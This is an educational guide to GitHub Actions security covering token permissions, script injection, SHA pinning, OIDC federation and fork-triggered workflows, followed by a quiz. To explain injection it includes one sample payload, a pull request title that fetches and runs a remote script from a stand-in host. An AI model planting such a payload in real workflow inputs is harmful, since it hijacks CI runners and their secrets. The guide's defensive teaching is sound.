Actions Security and OIDC
A workflow is a uniquely exposed piece of infrastructure: it runs third-party code, holds a token and secrets, and is sometimes triggered by input from untrusted forks. That is three attack surfaces stacked in one job. Treating a workflow like an ordinary script is how an attacker turns a pull request title into command execution with your token.
The defenses are concrete and additive: scope GITHUB_TOKEN to least privilege, never interpolate untrusted input into a shell, pin third-party actions to immutable commit SHAs, and replace stored cloud keys with OIDC federation that mints short-lived credentials per run. None of these is exotic; each closes one of the surfaces above.
Least-Privilege GITHUB_TOKEN
Every job gets an automatic GITHUB_TOKEN, and its default permission level can be read or write depending on org policy. Set permissions: at the workflow top to contents: read and elevate per job only where a step genuinely needs to write. A token left at write default is a gift to any compromised step or action — it can push code, edit issues, or cut releases on your behalf.
permissions:
contents: read
jobs:
build:
permissions:
contents: read
id-token: write # only this job needs OIDC
Script Injection
Values under ${{ github.event.* }} — pull request titles, branch names, issue bodies — are attacker-controlled. Interpolating them directly into a run: block splices their text into the shell the runner executes, so a PR titled $(curl evil.sh | sh) runs as the workflow. The fix is to bind the untrusted value to an env: variable and reference it quoted, so the shell treats it as data, never as code.
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "$TITLE"
SHA Pinning
A third-party action referenced by tag (@v4) trusts whoever can move that tag. If the maintainer's account is compromised, the tag is repointed at malicious code that then runs with your token and secrets. Pinning to a full commit SHA (@a1b2c3d...) makes the reference immutable — a moved tag cannot change what you run, because you named the exact commit.
OIDC Federation
Instead of storing a long-lived cloud key in secrets, the runner requests a short-lived OIDC token, and the cloud provider (AWS, GCP, Azure) trades it for temporary credentials scoped by claims like the repository, the ref, and the environment. Nothing long-lived is stored, and the trust is conditioned on which workflow is asking. The job opts in with the id-token: write permission shown above.
The trust policy on the cloud side is where this is won or lost. Scope it by the sub claim to a specific repository and ref — repo:org/app:ref:refs/heads/main — not a wildcard. A policy matching repo:org/* lets any workflow in the org assume the role, which throws away most of the benefit.
Untrusted Workflows
The pull_request_target and workflow_run triggers run with the base repository's elevated context — write token and secrets — even when the pull request comes from a fork. Checking out and executing fork code under those triggers hands an attacker your secrets. Use plain pull_request for untrusted code, which runs with a read-only token and no secrets, and gate any secret-needing step behind an environment approval.
Long-lived secret — a stored cloud key sits in repo secrets indefinitely. If it leaks it keeps working until someone notices and rotates it, and it grants whatever the key was scoped to regardless of which workflow used it.
OIDC — the run gets a token valid only for that workflow execution, exchanged for temporary cloud credentials scoped by trust-policy claims (repo, ref, environment). Nothing long-lived is stored, and access can be conditioned on branch or environment. Prefer it for any cloud deploy the provider supports.
- Interpolating
${{ github.event.pull_request.title }}directly into arun:block — a crafted title executes arbitrary shell as the workflow. - Leaving
GITHUB_TOKENat the write default when jobs only read, so a compromised step or action can push code or publish releases. - Storing a long-lived AWS or GCP key in secrets instead of configuring OIDC, leaving a credential that works until someone manually rotates it.
- Pinning a security-critical action to a mutable tag, so an attacker who moves the tag injects code that runs with your token.
- Writing an OIDC trust policy that matches
repo:org/*instead of a specific repo and ref, letting any workflow in the org assume the cloud role.
- Set
permissions: contents: readat the workflow top and grant write per-job only where a step needs it. - Assign any untrusted
github.event.*value to anenv:variable and reference it quoted, never inline inrun:. - Use OIDC with the
id-token: writepermission to federate into AWS, GCP, or Azure instead of storing cloud keys. - Scope the cloud trust policy by
subclaim to a specific repository, branch, or environment. - Pin all third-party actions to full commit SHAs and let Dependabot propose updates to those pins.
CI_JOB_TOKEN scopingCircleCI OIDC tokens for cloud federationAzure Pipelines workload identity federationBuildkite OIDC-based credentialsKnowledge Check
Why is interpolating ${{ github.event.pull_request.title }} into a run: block dangerous?
- The attacker-controlled title is spliced into the shell, so a crafted title runs commands as the workflow
- It prints the PR title into the public build log, leaking metadata that reviewers expect to stay internal
- It breaks YAML parsing whenever the title happens to contain a reserved character like a colon
- It slows the runner by re-evaluating the title expression on every step in the job
What is the correct way to use an untrusted event value in a step?
- Bind it to an
env:variable and reference the quoted variable inrun: - Wrap the expression in single quotes directly inside the
run:line - Base64-encode the value before interpolating it directly into the run script
- Run the step on a self-hosted runner inside your own network
What does OIDC federation remove that a stored cloud key carries?
- A long-lived credential — OIDC mints a short-lived token per run, scoped by trust-policy claims
- The need for the deploy job to authenticate to the cloud provider at all
- The requirement to grant the workflow any token permissions at all inside its job-level
permissions:block - The per-minute billing cost of running the deploy job on a GitHub-hosted runner
Why pin a third-party action to a commit SHA rather than a tag?
- A SHA is immutable, so a compromised maintainer who moves the tag cannot change the code you actually run
- A SHA reference makes the action resolve and start up measurably faster than a moving version tag normally would
- Tags are not allowed in the
uses:field once a workflow runs on the repository default branch - A SHA grants the pinned action fewer token permissions than a floating tag does
Why scope an OIDC trust policy to a specific repo and ref instead of repo:org/*?
- A wildcard lets any workflow in the org assume the role, defeating the point of conditioning access on identity
- Wildcard
subpatterns are rejected outright when the cloud provider validates the role trust policy, failing role creation with a malformed-condition error before any workflow can ever assume it - A specific ref makes the issued token last longer before it expires
- The
subclaim is not permitted to contain a slash character in any of its segments
You got correct